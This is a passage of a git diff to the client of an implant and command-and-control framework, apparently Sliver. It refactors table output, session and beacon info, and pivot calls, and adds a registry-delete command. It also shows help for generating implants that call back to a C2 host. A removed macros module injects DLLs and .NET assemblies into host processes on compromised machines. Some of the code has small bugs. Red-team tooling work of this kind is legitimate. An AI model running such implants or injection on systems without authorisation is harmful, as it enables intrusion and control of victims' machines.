consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.LoadMacroStr: loadMacrosHelp,
|
||||
consts.AliasesStr: loadMacrosHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
@@ -84,6 +84,7 @@ var (
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
@@ -211,12 +212,12 @@ profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
|
||||
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
|
||||
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
|
||||
generate-profile mtls-profile
|
||||
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with "profiles generate":
|
||||
profiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name
|
||||
profiles generate my-profile-name
|
||||
`
|
||||
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
|
||||
|
||||
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
|
||||
@@ -482,6 +483,11 @@ When using the binary type, you must either:
|
||||
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
|
||||
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
|
||||
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
|
||||
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
|
||||
@@ -81,7 +81,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessionNumbers(host.HostUUID, con),
|
||||
hostSessions(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
@@ -90,16 +90,16 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
hostSessions := SessionsForHost(hostUUID, con)
|
||||
if 0 == len(hostSessions) {
|
||||
if len(hostSessions) == 0 {
|
||||
return "None"
|
||||
}
|
||||
sessionNumbers := []string{}
|
||||
sessionIDs := []string{}
|
||||
for _, hostSession := range hostSessions {
|
||||
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
|
||||
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
|
||||
}
|
||||
return strings.Join(sessionNumbers, ", ")
|
||||
return fmt.Sprintf("%d", len(sessionIDs))
|
||||
}
|
||||
|
||||
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
|
||||
@@ -19,6 +19,8 @@ package info
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
|
||||
@@ -33,7 +35,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if session != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
|
||||
@@ -44,13 +46,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
||||
@@ -61,10 +64,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
|
||||
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
|
||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
|
||||
+22
-15
@@ -21,16 +21,15 @@ package jobs
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// JobsCmd - Manage server jobs (listeners, etc)
|
||||
@@ -51,33 +50,41 @@ func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
activeJobs[job.ID] = job
|
||||
}
|
||||
if 0 < len(activeJobs) {
|
||||
printJobs(activeJobs)
|
||||
PrintJobs(activeJobs, con)
|
||||
} else {
|
||||
con.PrintInfof("No active jobs\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func printJobs(jobs map[uint32]*clientpb.Job) {
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Protocol")),
|
||||
strings.Repeat("=", len("Port")))
|
||||
// PrintJobs - Prints a list of active jobs
|
||||
func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) {
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Port",
|
||||
})
|
||||
|
||||
var keys []int
|
||||
for _, job := range jobs {
|
||||
keys = append(keys, int(job.ID))
|
||||
}
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
sort.Ints(keys)
|
||||
|
||||
for _, k := range keys {
|
||||
job := jobs[uint32(k)]
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf("%d", job.ID),
|
||||
job.Name,
|
||||
job.Protocol,
|
||||
fmt.Sprintf("%d", job.Port),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func jobKill(jobID uint32, con *console.SliverConsoleClient) {
|
||||
|
||||
@@ -35,10 +35,9 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
// Confirm with the user, just in case they confused kill with terminate
|
||||
confirm := false
|
||||
promptSession := &survey.Confirm{Message: "Kill the active session?"}
|
||||
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
|
||||
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
|
||||
if session != nil {
|
||||
survey.AskOne(promptSession, &confirm, nil)
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -50,9 +49,8 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
}
|
||||
if beacon != nil {
|
||||
survey.AskOne(promptBeacon, &confirm, nil)
|
||||
} else if beacon != nil {
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1,335 +0,0 @@
|
||||
package macros
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var commandMap map[string]macro
|
||||
var defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
||||
type macroFile struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type macroCommand struct {
|
||||
Name string `json:"name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"longHelp"`
|
||||
AllowArgs bool `json:"allowArgs"`
|
||||
DefaultArgs string `json:"defaultArgs"`
|
||||
MacroFiles []macroFile `json:"extFiles"`
|
||||
IsReflective bool `json:"isReflective"`
|
||||
IsAssembly bool `json:"IsAssembly"`
|
||||
}
|
||||
|
||||
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
type macro struct {
|
||||
Name string `json:"macroName"`
|
||||
Commands []macroCommand `json:"macroCommands"`
|
||||
Path string
|
||||
}
|
||||
|
||||
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, c := range e.Commands {
|
||||
if cmdName == c.Name {
|
||||
for _, ef := range c.MacroFiles {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
|
||||
for _, x := range e.Commands {
|
||||
if x.Name == name {
|
||||
extCmd = &x
|
||||
return
|
||||
}
|
||||
}
|
||||
err = fmt.Errorf("no macro command found for name %s", name)
|
||||
return
|
||||
}
|
||||
|
||||
// LoadMacroCmd - Locally load a macro into the Sliver shell.
|
||||
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
|
||||
// retrieve macro manifest
|
||||
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
// parse it
|
||||
ext := ¯o{}
|
||||
err = json.Unmarshal(jsonBytes, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error loading macro: %v", err)
|
||||
return
|
||||
}
|
||||
ext.Path = dirPath
|
||||
// for each macro command, add a new app command
|
||||
for _, extCmd := range ext.Commands {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, ctx.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
|
||||
// Have to use a global map here, as passing the extCmd
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
macroCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runMacroCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if extCmd.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.MacroHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(macroCmd)
|
||||
}
|
||||
con.PrintInfof("%s macro has been loaded\n", ext.Name)
|
||||
}
|
||||
|
||||
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c, err := ext.getCommandFromName(ctx.Command.Name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(c.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = c.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = c.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: c.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]macro)
|
||||
}
|
||||
@@ -35,7 +35,7 @@ func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -86,10 +86,10 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
|
||||
"ID",
|
||||
"Remote Address",
|
||||
})
|
||||
for _, pivot := range listener.Pivots {
|
||||
for _, pivotListener := range listener.Pivots {
|
||||
tw.AppendRow(table.Row{
|
||||
pivot.ID,
|
||||
pivot.RemoteAddress,
|
||||
pivotListener.PeerID,
|
||||
pivotListener.RemoteAddress,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
+25
-18
@@ -1,10 +1,8 @@
|
||||
//go:build !windows
|
||||
|
||||
package httpclient
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -21,22 +19,31 @@ package httpclient
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// GetHTTPDriver - Get an instance of the specified HTTP driver
|
||||
func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
switch opts.Driver {
|
||||
// PivotsGraphCmd - Display pivots for all sessions
|
||||
func PivotsGraphCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
case goHTTPDriver:
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
|
||||
// {{end}}
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
data, err := json.MarshalIndent(graph.Children, "", " ")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("%s\n", string(data))
|
||||
|
||||
}
|
||||
@@ -35,7 +35,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -34,7 +34,7 @@ func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
}
|
||||
id := uint32(ctx.Flags.Int("id"))
|
||||
if id == uint32(0) {
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -19,19 +19,22 @@ package portfwd
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// PortfwdCmd - Display information about tunneled port forward(s)
|
||||
func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrintPortfwd(con)
|
||||
}
|
||||
|
||||
// PrintPortfwd - Print the port forward(s)
|
||||
func PrintPortfwd(con *console.SliverConsoleClient) {
|
||||
portfwds := core.Portfwds.List()
|
||||
if len(portfwds) == 0 {
|
||||
con.PrintInfof("No port forwards\n")
|
||||
@@ -40,18 +43,22 @@ func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
sort.Slice(portfwds[:], func(i, j int) bool {
|
||||
return portfwds[i].ID < portfwds[j].ID
|
||||
})
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tSession ID\tBind Address\tRemote Address\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Session ID")),
|
||||
strings.Repeat("=", len("Bind Address")),
|
||||
strings.Repeat("=", len("Remote Address")),
|
||||
)
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Session ID",
|
||||
"Bind Address",
|
||||
"Remote Address",
|
||||
})
|
||||
for _, p := range portfwds {
|
||||
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", p.ID, p.SessionID, p.BindAddr, p.RemoteAddr)
|
||||
tw.AppendHeader(table.Row{
|
||||
p.ID,
|
||||
p.SessionID,
|
||||
p.BindAddr,
|
||||
p.RemoteAddr,
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s", outputBuf.String())
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -99,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -35,14 +35,17 @@ import (
|
||||
|
||||
